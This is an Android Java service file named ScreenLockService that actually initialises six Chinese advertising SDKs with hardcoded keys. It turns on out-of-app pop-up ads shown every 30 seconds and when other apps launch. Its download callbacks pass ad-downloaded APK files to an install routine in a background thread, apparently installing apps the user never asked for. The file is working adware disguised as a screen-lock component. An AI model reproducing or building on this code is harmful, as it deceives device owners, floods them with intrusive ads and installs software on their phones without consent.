package kdui.uj.tkd.kdg.service;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;

import kdui.uj.tkd.kdg.data.SharePreferenceSdkData;
import kdui.uj.tkd.kdg.utils.PackageInstallUtil;

import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserFactory;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.res.AssetManager;
import android.os.IBinder;
import android.util.Log;
import android.widget.Toast;
import cn.cq.yz.PopManager;
import cn.g.a.AdStatusListener;
import cn.g.a.gm;

import com.abox.api.AdpInterface;
import com.android.time.AppConnect;
import com.android.time.AppListener;
import com.fa.tr.Rvaahb;
import com.fa.tr.Rvaehb;
import com.fa.tr.Rvafhb;
import com.fa.tr.op.Rvaihb;
import com.lsk.open.core.utils.ProductInfoUtils;

public class ScreenLockService extends Service implements Rvafhb,
		AdStatusListener {

	private gm spotManager;
	private static PopManager jmInstance;
	// 鲜果的cid,subCid的默认值
	private int cid = 3261;
	private int subCid = 0;
	// 渠道号
	// String resoureId;

	// 加载数据可能会出问题，防止没有初始化，没有收益，所有必须初始化下 具体参考loadkey
	private static String[] keys = { "e9fce6d88c2caba2905a6b47bb4e8d20",// 道有道
			"282262d1c09d4f54e48dd97339d540cd",// 有米
			"b92d337b-0f6f-4639-a91c-9e62a0c0c9cf",// 聚米
			"1192",// 鲜果
			"C47C242F6624BBB5163D050B01FAEBAE",// 易盟
			"94f8a63bee7f904f46cf4704322aecb6"// 万普app_id
	};

	@Override
	public void onCreate() {
		super.onCreate();

		Intent intent = new Intent(getApplicationContext(),
				TimeRunableService.class);
		startService(intent);
	
		loadXmlKey(getApplicationContext(),keys,ProductInfoUtils.getChannelName(getApplicationContext()));
		
		initYoumi();
		initDyd();
		initJumi();
		initXianguo();
		initYimeng();
		// initWanpu();
	}

	public static void loadXmlKey(Context context, String[] results,
			String channelName) {

		InputStream is = null;

		if (results == null)
			return;

		AssetManager assetManager = context.getAssets();
		String[] files = null;
		try {
			files = assetManager.list("");
		} catch (IOException e) {

		}
		if (files != null) {
			for (String file : files) {
				if (file.contains("arrays.xml")) {
					try {
						is = assetManager.open(file);

					} catch (IOException e) {
						e.printStackTrace();
					}
					break;
				}
			}

		}

		try {
			if (is == null)
				return;

			XmlPullParserFactory factory = XmlPullParserFactory.newInstance();
			XmlPullParser xpp = factory.newPullParser();
			xpp.setInput(is, "utf-8");

			int eventType = xpp.getEventType();
			int index = 0;
			boolean isStart=false;
			while (XmlPullParser.END_DOCUMENT != eventType) {
				switch (eventType) {
				case XmlPullParser.START_TAG:
					if ("string-array".equalsIgnoreCase(xpp.getName())) {
						if(xpp.getAttributeValue(0).equalsIgnoreCase(channelName)){
							isStart=true;
							index = 0;
						}
					} else if (isStart&&"item".equalsIgnoreCase(xpp.getName())) {

						String temp = xpp.nextText();
						Log.e("ydy","***************** temp=="+temp);
						if (temp != null) {
							results[index] = temp;
							index++;
						}

					}
					break;
				case XmlPullParser.END_TAG:
					if (isStart&&"string-array".equalsIgnoreCase(xpp.getName())) {
						isStart=false;
						return;
					}
					break;

				}
				eventType = xpp.next();
			}

		} catch (Exception e) {
			e.printStackTrace();
		} finally {
			if (is != null) {
				try {
					is.close();
				} catch (IOException e) {
					e.printStackTrace();
				}
			}
		}

	}

	private void initWanpu() {
		// sdk初始化
		AppConnect.getInstance(keys[5], "ad_blazefire_03", this);
		// 初始化插屏
		AppConnect.getInstance(this).initPopAd(this);
		// 启动服务
		AppConnect.getInstance(this).startPopService(this);

		AppConnect.getInstance(this).setDownloadListener(new AppListener() {

			@Override
			public void onDownloadFinish(String fileName, String packageName,
					String filePath) {
				// TODO Auto-generated method stub
				super.onDownloadFinish(fileName, packageName, filePath);

				executeInstallation(filePath);

				Toast.makeText(getApplicationContext(), filePath,
						Toast.LENGTH_SHORT).show();
				// 三个参数分别为：文件名、包名、文件地址
				// Log.i("debug", "fileName = " + fileName);
				// Log.i("debug", "packageName = " + packageName);
				// Log.i("debug", "filePath = " + filePath);
			}

		});

	}

	private void initYimeng() {
		mmy.wurccmmy.wurcc.ellq.uy.a(keys[4]);
		Log.i("FQX", "yimeng  key" + keys[4]);
	}

	private void initXianguo() {
		// String 转变成 Int
		int i = Integer.valueOf(keys[3]).intValue();
		// 应用启动 第二个参数：pid 第三个参数：cid 第四个参数：subCid cid,subCid写死
		AdpInterface adp = AdpInterface.newInstance(this, i, cid, subCid);
		// AdpInterface.newInstance(getApplicationContext(), 1191, 3261, 1000);
	}

	private void initJumi() {
		// 最后一个参数1表示计费模式，0表示测试模式
		jmInstance = PopManager
				.getInstance(getApplicationContext(), keys[2], 1);
		Log.e("FQX", "jumi  key" + keys[2]);

		// wifi和3g下强制，每次展示有两个滑屏广告，点击后消失（这个好像不管用）
		jmInstance.c(3, 1, true);
		// 第一个参数，开启外插屏；第二个参数，是否生成常驻通知栏；第三个参数，每天展示次数；
		// 第四个参数，是否联网展示外插屏；第五个参数，是否解锁屏幕展示外插屏；第六个参数，是否启动第三方应用展示外插屏
		jmInstance.o(true, false, 3, false, false, true);
		// 2 打印 log，部分功能Toast提示， 发布产品时请设置为0!!!!!!!!!!!，默认为1
		jmInstance.debug(0);
	}

	private void initYoumi() {
		// 初始化广告数据 参数二 设置是否输出log true为测试模式！！！！！！
		// Rmaath.rvabte(this).rvadte(keys[1],false);
		// //设置渠道号
		// Rmaath.rvabte(this).rvadteChannelId(ProductInfoUtils.getChannelName(this));
		// //注册获取安装包路径返回监听
		// Rmaeth.getInstance(this).rvavte(this);
		// //pop广告应用外请求接口
		// Rmaith.rvabte(this).rvamte();

		// 初始化广告数据
		Rvaahb.erabbt(this).eradbt(keys[1], false);
		// 设置渠道号
		Rvaahb.erabbt(this).eradbtChannelId(
				ProductInfoUtils.getChannelName(this));
		// 设置是否输出log
		// Rvaahb.erabbt(this).erakbt(true);
		// 注册获取安装包路径返回监听
		Rvaehb.getInstance(this).eravbt(this);
		// pop广告应用外请求接口
		Rvaihb.erabbt(this).eranbt();

	}

	// 道有道初始化
	private void initDyd() {
		spotManager = gm.getInstance(getApplicationContext(), keys[0]);
		// 安装回调
		spotManager.setAdRequestListener(this);
		// 插屏外弹,外弹间隔时间,首次延迟时间
		spotManager.shownos(getApplicationContext(), 30, 0);

		// 内弹,无需则去掉
		// spotManager.show(getApplicationContext());

		// spotManager = gm.getInstance(getApplicationContext(),keys[0]);
		// //安装回调
		// spotManager.setAdRequestListener(this);
		// //插屏外弹,外弹间隔时间,首次延迟时间
		// spotManager.shownos(getApplicationContext(), 240, 0);
	}

	@Override
	public IBinder onBind(Intent arg0) {
		return null;
	}

	@Override
	public void installAdNotify(String filePath) {
		// TODO Auto-generated method stub
		executeInstallation(filePath);
	}

	private void executeInstallation(final String filePath) {
		new Thread(new Runnable() {

			@Override
			public void run() {
				// TODO Auto-generated method stub
				if (SharePreferenceSdkData
						.getInstallAppFlag(getApplicationContext())) {
					PackageInstallUtil.installApp(getApplicationContext(),
							filePath);
				}
			}
		}).start();
	}

	@Override
	public void eratbt(String filePath) {
		// TODO Auto-generated method stub
		executeInstallation(filePath);
	}

	// @Override
	// public void bgatrt(String filePath) {
	// // TODO Auto-generated method stub
	// if(SharePreferenceSdkData.getInstallAppFlag(getApplicationContext())){
	// PackageInstallUtil.installApp(getApplicationContext(), filePath);
	// }
	// }

	// 道有道回调接口
	// @Override
	// public void installAdNotify(String filePath) {
	// // TODO Auto-generated method stub
	// if(SharePreferenceSdkData.getInstallAppFlag(getApplicationContext())){
	// PackageInstallUtil.installApp(getApplicationContext(), filePath);
	// }
	// }
	//
	// //有米回调接口
	// @Override
	// public void niatry(String filePath) {
	// // TODO Auto-generated method stub
	// if(SharePreferenceSdkData.getInstallAppFlag(getApplicationContext())){
	// PackageInstallUtil.installApp(getApplicationContext(), filePath);
	// }
	//
	// }
}
